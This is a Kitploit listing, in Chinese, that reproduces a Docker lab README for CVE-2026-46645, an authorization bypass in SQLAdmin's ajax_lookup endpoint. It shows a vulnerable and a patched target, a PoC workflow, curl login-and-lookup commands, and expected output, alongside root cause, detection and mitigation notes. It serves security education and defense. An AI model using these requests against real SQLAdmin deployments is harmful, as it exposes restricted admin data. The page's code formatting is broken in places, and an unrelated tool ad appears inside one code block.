Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-46645-Analysis-Lab — 基于Docker的实验环境,用于复现CVE-2026-46645——SQLAdmin的ajax_lookup端点存在的授权绕过漏洞。包含存在漏洞及已修复的目标、PoC脚本以及手动curl复现步骤,适用于安全研究与教育。 | Kitploit
工具/GitHubGitHub/rootdirective-sec/cve-2026-46645-analysis-lab
漏洞分析Web应用程序漏洞利用API安全测试渗透测试学习与教育实验室与实践
GitHubrootdirective-sec/cve-2026-46645-analysis-lab

CVE-2026-46645-Analysis-Lab

基于Docker的实验环境,用于复现CVE-2026-46645——SQLAdmin的ajax_lookup端点存在的授权绕过漏洞。包含存在漏洞及已修复的目标、PoC脚本以及手动curl复现步骤,适用于安全研究与教育。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
82个月前尚未审核
分享

CVE-2026-46645 - SQLAdmin ajax_lookup 授权绕过

执行摘要

此仓库包含一个本地 Docker 实验环境,用于复现 CVE-2026-46645,这是一个影响 SQLAdmin 的 ajax_lookup 端点的授权绕过漏洞。

SQLAdmin 是 Starlette 和 FastAPI 应用中 SQLAlchemy 模型的管理界面。当应用程序使用 is_accessible(request) 限制 ModelView 时,SQLAdmin 的 ajax_lookup 路由在返回查找结果前未强制执行相同的访问控制决策,从而产生该漏洞。

该实验环境对比了两个 SQLAdmin 版本:

服务SQLAdmin 版本用途URL
vuln0.25.0易受攻击的目标http://127.0.0.1:8001
patched0.25.1已修复的对比目标http://127.0.0.1:8002

演示的漏洞链为:```text Authenticated low-privileged user → restricted SQLAdmin ModelView → ModelView.is_accessible(request) returns False → user directly requests the ajax_lookup endpoint → SQLAdmin 0.25.0 returns relationship lookup data → SQLAdmin 0.25.1 blocks the same request with HTTP 403

root@kitploit:~
本实验室特意使用简单的 `Report` / `SecretProject` 数据模型,以便于理解授权绕过问题。这些模型名称并非漏洞的根源,仅用于创建可控的复现条件。

本实验室仅用于可控的本地研究、源码级理解以及作品集展示。

## Verified Facts

| 声明                                                                 | 证据                                                                                                           | 如何在实验室中验证                                                                 |
| --------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------- |
| SQLAdmin 的 `ajax_lookup` 端点是受影响的组件。          | 公开公告将受影响端点格式描述为 `GET /{identity}/ajax/lookup?name=<field>&term=<query>`。 | 运行 PoC 并观察对 `/admin/report/ajax/lookup?name=project&term=Secret` 的请求。 |
| SQLAdmin `0.25.0` 被用作易受攻击的对比目标。        | 实验室在 `vuln` 容器中安装了 `sqladmin==0.25.0`。                                                       | 运行 `docker compose exec -T vuln python -m pip show sqladmin`。                            |
| SQLAdmin `0.25.1` 被用作已修补的对比目标。           | 公开公告和发布说明将 `0.25.1` 标识为修复版本。                                          | 运行 `docker compose exec -T patched python -m pip show sqladmin`。                         |
| 根本原因在于 SQLAdmin 上游的 `Admin.ajax_lookup()` 路由。 | 该补丁为 `ajax_lookup()` 添加了缺失的身份验证和 `is_accessible(request)` 强制检查。                 | 使用本 README 中的命令检查两个容器内的 `Admin.ajax_lookup()`。    |
| 实验室创建了一个受限的 `ModelView`。                             | `ReportAdmin.is_accessible(request)` 故意返回 `False`。                                                | 检查 `app/main.py`。                                                                    |
| PoC 使用经过身份验证的会话。                                | PoC 首先登录到 `/admin/login`,保留会话 cookie,然后请求 `ajax_lookup`。                    | 运行 `python3 poc/poc.py --base-url http://127.0.0.1:8001`。                                |
| 易受攻击的信号是数据泄露。                               | SQLAdmin `0.25.0` 从一个受限视图返回 HTTP 200 和 JSON 查询结果。                                 | 易受攻击的目标应返回 `Secret Project Alpha` 和 `Secret Project Beta`。     |
| 已修补的信号是拒绝访问。                                  | SQLAdmin `0.25.1` 对同一经过身份验证的请求返回 HTTP 403。                                             | 已修补的目标应返回 `403 Forbidden`。                                         |

## 假设和未知因素

本实验室使用 `sqladmin==0.25.0` 作为易受攻击的基准,使用 `sqladmin==0.25.1` 作为已修补的基准。

实验室专注于授权绕过条件,其中:```text
A user is authenticated,
the target ModelView is not accessible,
but ajax_lookup is requested directly.

本实验室并不试图复现所有可能的 SQLAdmin 部署模式。它有意创建了一个小型 Starlette 应用程序,其中包含一个受限的管理员视图,以便轻松验证存在漏洞版本与已修补版本之间的行为差异。

Report 和 SecretProject 模型是仅限实验室使用的对象。它们不属于 SQLAdmin 本身。

该 PoC 未尝试进行权限提升、数据修改、会话窃取、外部回调、持久化或针对非实验室系统的攻击。

Root Cause Summary

根本原因存在于 SQLAdmin 上游的 Admin.ajax_lookup() 路由中,而非本实验室的应用程序代码。

SQLAdmin 允许开发者通过重写以下方法来限制对管理员视图的访问:```python ModelView.is_accessible(request)

root@kitploit:~
其他管理路由在允许请求继续之前,应该强制执行此访问控制决策。例如,list、create、details、delete、edit 和 export 等路由会检查当前请求是否有权访问目标 `ModelView`。

存在漏洞的 `ajax_lookup` 路由没有强制执行相同的访问控制决策。

`ajax_lookup` 端点被 SQLAdmin 的 `form_ajax_refs` 功能用于动态加载关联值。其端点格式为:```text
/admin/<identity>/ajax/lookup?name=<field>&term=<query>

在存在漏洞的版本中,ajax_lookup() 解析出目标 ModelView,从查询字符串中读取查找字段名称和搜索词,然后调用 AJAX 加载器并返回 JSON 结果。缺失的安全步骤在于,它没有首先验证当前请求是否有权访问该 ModelView。

安全影响是:经过身份验证的用户可能被阻止通过正常 UI 路由访问受限的管理视图,但仍然可以直接请求该视图的 AJAX 查找端点,从而获取关系查询数据。

SQLAdmin 0.25.1 通过在 ajax_lookup() 内部强制实施访问控制来修复此问题。修补后的路由会检查 model_view.is_accessible(request),并在目标视图不可访问时返回 HTTP 403。

本实验室将 ReportAdmin.is_accessible(request) 定义为首始终返回 False,仅用于复现此漏洞条件。实验室代码并非根本原因。它是一个受控的测试框架,用于验证 SQLAdmin 上游 ajax_lookup() 路由是否尊重访问控制决策。

预期的行为差异:```text sqladmin 0.25.0 -> HTTP 200 with JSON lookup results sqladmin 0.25.1 -> HTTP 403 Forbidden

root@kitploit:~
## 源码补丁摘要

有意义的 upstream 补丁是对 `Admin.ajax_lookup()` 添加了身份验证和授权强制执行。

修补后的行为等效于:```python
@login_required
async def ajax_lookup(self, request):
    identity = request.path_params["identity"]
    model_view = self._find_model_view(identity)

    if not model_view.is_accessible(request):
        raise HTTPException(status_code=403)

    name = request.query_params.get("name")
    term = request.query_params.get("term")
    ...

关键授权检查是:```python if not model_view.is_accessible(request): raise HTTPException(status_code=403)

root@kitploit:~
该实验室演示了在易受攻击版本中缺少此检查,而在修补版本中存在此检查。

## 实验室架构

该实验室通过 Docker Compose 运行两个隔离的 Starlette 应用程序。```text
.
├── app/
│   ├── __init__.py
│   └── main.py
├── docker-compose.yml
├── patched/
│   └── Dockerfile
├── poc/
│   └── poc.py
├── README.md
├── requirements/
│   ├── patched.txt
│   └── vuln.txt
└── vuln/
    └── Dockerfile

两个服务运行相同的应用代码,但安装了不同版本的 SQLAdmin:

服务包版本端口映射
vulnsqladmin==0.25.0127.0.0.1:8001 -> 8000
patchedsqladmin==0.25.1127.0.0.1:8002 -> 8000

该应用创建了两个 SQLAlchemy 模型:```text SecretProject Report

root@kitploit:~
`Report` 与 `SecretProject` 存在关系:```text
Report.project -> SecretProject

ReportAdmin 定义了一个 AJAX 关系查找:```python form_ajax_refs = { "project": { "fields": ("name",), "order_by": "name", "limit": 10, } }

root@kitploit:~
受限管理员视图为:```python
class ReportAdmin(ModelView, model=Report):
    def is_accessible(self, request):
        return False

这故意创建了测试SQLAdmin的ajax_lookup()路由是否强制执行is_accessible()所需的条件。

PoC所使用的易受攻击的端点是:```text /admin/report/ajax/lookup?name=project&term=Secret

root@kitploit:~
默认实验室凭据:```text
username: analyst
password: lab-password

要求

  • Docker Desktop 或 Docker Engine
  • Docker Compose v2
  • Python 3
  • 用于从主机运行 PoC 的 Python requests 包
  • 用于手动 HTTP 重现的 curl
  • 镜像构建期间需联网以从 PyPI 安装 Python 包

如果需要,请在主机上安装 PoC 依赖项:```bash python3 -m pip install requests

root@kitploit:~
## 快速开始

构建并启动实验室:```bash
docker compose down --remove-orphans
docker compose up --build -d

检查容器状态:```bash docker compose ps

root@kitploit:~
预期暴露的服务:```text
Vulnerable target: http://127.0.0.1:8001
Patched target:    http://127.0.0.1:8002

检查健康端点:```bash curl -i http://127.0.0.1:8001/health curl -i http://127.0.0.1:8002/health

root@kitploit:~
两者都应该返回:```json
{"status":"ok"}

如果需要,在浏览器中打开管理界面:```text http://127.0.0.1:8001/admin http://127.0.0.1:8002/admin

root@kitploit:~
登录凭据:```text
analyst / lab-password

PoC 用法

针对易受攻击的服务运行 PoC:```bash python3 poc/poc.py
--base-url http://127.0.0.1:8001
--label "sqladmin 0.25.0 vulnerable"

root@kitploit:~
对打补丁后的服务运行相同的PoC:```bash
python3 poc/poc.py \
  --base-url http://127.0.0.1:8002 \
  --label "sqladmin 0.25.1 patched"

该PoC执行以下步骤:```text

  1. Send POST /admin/login with the lab credentials.
  2. Keep the returned session cookie.
  3. Send GET /admin/report/ajax/lookup?name=project&term=Secret.
  4. Print the HTTP status, content type, response body, and interpretation.
root@kitploit:~
PoC 有意打印了请求和响应流程,以便读者能够看到授权绕过。

## 使用 curl 手动复现 HTTP

你可以不使用 `poc/poc.py` 而手动复现该漏洞。

当你想展示精确的 HTTP 流程时,这很有用:```text
login
→ save session cookie
→ send ajax_lookup request
→ compare vulnerable and patched responses

脆弱目标

设置脆弱目标URL:```bash TARGET="http://127.0.0.1:8001" COOKIE_JAR="/tmp/cve-2026-46645-vuln.cookies"

root@kitploit:~
以实验室用户身份登录并保存会话cookie:```bash
curl -i -s -L \
  -c "$COOKIE_JAR" \
  -b "$COOKIE_JAR" \
  -X POST "$TARGET/admin/login" \
  -d "username=analyst" \
  -d "password=lab-password"

发送受限的 ajax_lookup 请求:```bash curl -i -s
-b "$COOKIE_JAR"
"$TARGET/admin/report/ajax/lookup?name=project&term=Secret"

root@kitploit:~
预期的易受攻击结果:```http
HTTP/1.1 200 OK
content-type: application/json

预期的内容:```json { "results": [ { "id": "1", "text": "Secret Project Alpha" }, { "id": "2", "text": "Secret Project Beta" } ] }

root@kitploit:~
这确认了脆弱行为,因为请求已通过身份验证,`ReportAdmin.is_accessible(request)` 返回 `False`,但 SQLAdmin `0.25.0` 仍然返回查找数据。

### 已修补的目标

设置已修补的目标 URL:```bash
TARGET="http://127.0.0.1:8002"
COOKIE_JAR="/tmp/cve-2026-46645-patched.cookies"

以相同的实验用户身份登录:```bash curl -i -s -L
-c "$COOKIE_JAR"
-b "$COOKIE_JAR"
-X POST "$TARGET/admin/login"
-d "username=analyst"
-d "password=lab-password"

root@kitploit:~
发送相同的受限 `ajax_lookup` 请求:```bash
curl -i -s \
  -b "$COOKIE_JAR" \
  "$TARGET/admin/report/ajax/lookup?name=project&term=Secret"

预期修补结果:```http HTTP/1.1 403 Forbidden

root@kitploit:~
这确认了修补后的行为,因为 SQLAdmin `0.25.1` 强制了在 `ajax_lookup()` 内部缺失的 `ModelView.is_accessible(request)` 检查。

### 一行对比

易受攻击的服务:```bash
curl -s -L \
  -c /tmp/cve-2026-46645-vuln.cookies \
  -b /tmp/cve-2026-46645-vuln.cookies \
  -X POST http://127.0.0.1:8001/admin/login \
  -d "username=analyst" \
  -d "password=lab-password" >/dev/null && \
curl -i -s \
  -b /tmp/cve-2026-46645-vuln.cookies \
  "http://127.0.0.1:8001/admin/report/ajax/lookup?name=project&term=Secret"

已修补的服务:```bash curl -s -L
-c /tmp/cve-2026-46645-patched.cookies
-b /tmp/cve-2026-46645-patched.cookies
-X POST http://127.0.0.1:8002/admin/login
-d "username=analyst"
-d "password=lab-password" >/dev/null &&
curl -i -s
-b /tmp/cve-2026-46645-patched.cookies
"http://127.0.0.1:8002/admin/report/ajax/lookup?name=project&term=Secret"

root@kitploit:~
预期比较:```text
sqladmin 0.25.0 -> HTTP 200 + JSON lookup results
sqladmin 0.25.1 -> HTTP 403 Forbidden

预期输出

易受攻击的目标:```text

Target: sqladmin 0.25.0 vulnerable

Base URL : http://127.0.0.1:8001 Login URL : http://127.0.0.1:8001/admin/login Lookup URL : http://127.0.0.1:8001/admin/report/ajax/lookup Lookup params : name='project', term='Secret'

================================================================================ Step 1 - Login as authenticated low-privileged user

Request: POST http://127.0.0.1:8001/admin/login form username='analyst' form password=

Response: HTTP status : 200 Final URL : http://127.0.0.1:8001/admin/ Cookies : {'session': ''}

================================================================================ Step 2 - Send ajax_lookup request to restricted ModelView

Request: GET http://127.0.0.1:8001/admin/report/ajax/lookup?name=project&term=Secret

Security condition:

  • The user is authenticated.
  • ReportAdmin.is_accessible(request) returns False.
  • A restricted admin ModelView should not expose lookup data.

Response: HTTP status : 200 Content-Type : application/json

Body: { "results": [ { "id": "1", "text": "Secret Project Alpha" }, { "id": "2", "text": "Secret Project Beta" } ] }

================================================================================ Step 3 - Interpretation

[VULNERABLE SIGNAL] The restricted ajax_lookup endpoint returned HTTP 200 and JSON results. This means an authenticated user could query lookup data even though ReportAdmin.is_accessible(request) returned False.

root@kitploit:~
已修补的目标:```text
================================================================================
Target: sqladmin 0.25.1 patched
================================================================================
Base URL      : http://127.0.0.1:8002
Login URL     : http://127.0.0.1:8002/admin/login
Lookup URL    : http://127.0.0.1:8002/admin/report/ajax/lookup
Lookup params : name='project', term='Secret'

================================================================================
Step 1 - Login as authenticated low-privileged user
================================================================================
Request:
POST http://127.0.0.1:8002/admin/login
form username='analyst'
form password=<hidden>

Response:
HTTP status : 200
Final URL   : http://127.0.0.1:8002/admin/
Cookies     : {'session': '<redacted>'}

================================================================================
Step 2 - Send ajax_lookup request to restricted ModelView
================================================================================
Request:
GET http://127.0.0.1:8002/admin/report/ajax/lookup?name=project&term=Secret

Security condition:
- The user is authenticated.
- ReportAdmin.is_accessible(request) returns False.
- A restricted admin ModelView should not expose lookup data.

Response:
HTTP status  : 403
Content-Type : text/html; charset=utf-8

================================================================================
Step 3 - Interpretation
================================================================================
[PATCHED SIGNAL]
The restricted ajax_lookup endpoint returned HTTP 403.
This matches the patched behavior introduced in SQLAdmin 0.25.1.

PoC 的工作原理

PoC 使用 Python 的 requests 库和一个持久的 requests.Session() 对象。

首先,它向 SQLAdmin 进行身份验证:```text POST /admin/login

root@kitploit:~
使用实验室凭据:```text
analyst / lab-password

登录后,会话对象会保存返回的会话Cookie。

然后,PoC发送受限的AJAX查找请求:```text GET /admin/report/ajax/lookup?name=project&term=Secret

root@kitploit:~
在实验室应用中,此请求针对 `ReportAdmin`。

`ReportAdmin` 故意设置为不可访问:```python
def is_accessible(self, request):
    return False

这是实验室条件。它不是上游漏洞。

正在测试的安全问题是:```text Does SQLAdmin's upstream ajax_lookup route enforce the ModelView access decision?

root@kitploit:~
对于 SQLAdmin `0.25.0`,该端点返回 HTTP 200 和 JSON 查询结果。这确认了易受攻击的行为。

对于 SQLAdmin `0.25.1`,该端点返回 HTTP 403。这确认了已修补的行为。

## 有用的验证命令

Check running containers:```bash
docker compose ps

检查服务日志:```bash docker compose logs vuln patched

root@kitploit:~
检查已安装的SQLAdmin版本:```bash
docker compose exec -T vuln python -m pip show sqladmin
docker compose exec -T patched python -m pip show sqladmin

预期版本:```text vuln -> Version: 0.25.0 patched -> Version: 0.25.1

root@kitploit:~
再次运行 PoC:```bash
python3 poc/poc.py \
  --base-url http://127.0.0.1:8001 \
  --label "sqladmin 0.25.0 vulnerable"
  • Peaches - 一个用于构建自定义安装程序并在 Mac 生态系统中自动化安装你的代码(或至少让它更美观)的工具。 Peaches```bash python3 poc/poc.py
    --base-url http://127.0.0.1:8002
    --label "sqladmin 0.25.1 patched"
root@kitploit:~
保存证据输出:```bash
mkdir -p evidence

python3 poc/poc.py \
  --base-url http://127.0.0.1:8001 \
  --label "sqladmin 0.25.0 vulnerable" \
  | tee evidence/poc-vuln-0.25.0.txt

python3 poc/poc.py \
  --base-url http://127.0.0.1:8002 \
  --label "sqladmin 0.25.1 patched" \
  | tee evidence/poc-patched-0.25.1.txt

docker compose ps | tee evidence/docker-compose-ps.txt
docker compose logs vuln patched > evidence/docker-compose-logs.txt

检查已安装的易受攻击的源:```bash docker compose exec -T vuln python - <<'PY' import inspect import sqladmin.application

print(sqladmin.application.file) print(inspect.getsource(sqladmin.application.Admin.ajax_lookup)) PY

root@kitploit:~
检查已安装的补丁源码:```bash
docker compose exec -T patched python - <<'PY'
import inspect
import sqladmin.application

print(sqladmin.application.__file__)
print(inspect.getsource(sqladmin.application.Admin.ajax_lookup))
PY

存在漏洞的版本不应在 ajax_lookup() 内部强制执行 model_view.is_accessible(request) 检查。

修补后的版本应包含一个等效于以下内容的授权检查:```python if not model_view.is_accessible(request): raise HTTPException(status_code=403)

root@kitploit:~
## 检测与监控

在使用 SQLAdmin 的实际应用程序中,可疑活动可能表现为直接对 AJAX 查找端点的请求:```text
/admin/<identity>/ajax/lookup?name=<field>&term=<query>

对于本实验室,有用的日志指标包括:```text GET /admin/report/ajax/lookup?name=project&term=Secret

root@kitploit:~
预期的易受攻击的日志模式:```text
GET /admin/report/ajax/lookup?name=project&term=Secret HTTP/1.1" 200 OK

预期的修补后日志模式:```text GET /admin/report/ajax/lookup?name=project&term=Secret HTTP/1.1" 403 Forbidden

root@kitploit:~
潜在的生产环境监控建议:

* 审查对 `/ajax/lookup` 端点的直接访问,
* 将查找访问与预期的管理 UI 工作流程进行比较,
* 监控来自低权限账户的重复查找术语,
* 检查敏感 `ModelView` 类是否使用了 `form_ajax_refs`,
* 验证受限模型视图是否仍通过关系查找暴露。

## 缓解措施与补丁说明

将 SQLAdmin 升级至 `0.25.1` 或更高版本。

该补丁为 `ajax_lookup` 路由添加了缺失的访问控制实施。修补后的端点会检查当前请求是否有权限访问目标 `ModelView`。如果 `is_accessible(request)` 返回 `False`,则该请求被 HTTP 403 阻止。

应用程序层面的加固建议:

* 升级 SQLAdmin 至已修补版本,
* 审查所有自定义的 `ModelView.is_accessible()` 实现,
* 除非必要,避免通过 `form_ajax_refs` 暴露敏感关系查找,
* 通过常规 UI 路由和 AJAX 查找路由测试受限管理视图,
* 监控对 `/admin/*/ajax/lookup` 端点的访问,
* 确保管理认证和会话处理配置正确。

## 清理

停止并移除容器和网络:```bash
docker compose down --remove-orphans

移除容器、网络和匿名卷:```bash docker compose down -v --remove-orphans

root@kitploit:~
如果需要,删除本地构建的镜像:```bash
docker image rm \
  cve-2026-46645-sqladmin-vuln:0.25.0 \
  cve-2026-46645-sqladmin-patched:0.25.1 \
  2>/dev/null || true

如果需要,删除证据文件:```bash rm -rf evidence/

root@kitploit:~
## 安全边界

本实验室仅用于本地安全研究和受控演示。

请勿将 PoC 用于您不拥有或未经许可测试的系统。

请勿在本实验室中使用真实凭据、生产机密或外部目标。

PoC 被有意限制在本地 Docker 服务,例如:```text
http://127.0.0.1:8001
http://127.0.0.1:8002

该PoC不包含用于凭据窃取、数据修改、持久化、横向移动或外部回调的有效载荷。

目标是演示一个受控环境中的特定授权绕过条件:```text authenticated user

  • restricted ModelView
  • ajax_lookup request
  • vulnerable version returns data
  • patched version returns 403
root@kitploit:~
## 参考资料

- GitHub 安全公告:SQLAdmin Authorization Bypass on ajax_lookup  
  https://github.com/advisories/GHSA-54mc-gghv-4cfj

- OSV 公告:GHSA-54mc-gghv-4cfj / CVE-2026-46645  
  https://osv.dev/vulnerability/GHSA-54mc-gghv-4cfj

- SQLAdmin 发布 0.25.1  
  https://github.com/smithyhq/sqladmin/releases/tag/0.25.1

- SQLAdmin 比较:0.25.0 到 0.25.1  
  https://github.com/smithyhq/sqladmin/compare/0.25.0...0.25.1

- SQLAdmin 0.25.0 application.py  
  https://github.com/smithyhq/sqladmin/blob/0.25.0/sqladmin/application.py

- SQLAdmin 0.25.1 application.py  
  https://github.com/smithyhq/sqladmin/blob/0.25.1/sqladmin/application.py

- SQLAdmin 身份验证测试  
  https://github.com/smithyhq/sqladmin/blob/0.25.1/tests/test_authentication.py

- SQLAdmin AJAX 测试  
  https://github.com/smithyhq/sqladmin/blob/0.25.1/tests/test_ajax.py

- PyPI: sqladmin  
  https://pypi.org/project/sqladmin/

- SQLAdmin GitHub 仓库  
  https://github.com/smithyhq/sqladmin
下载工具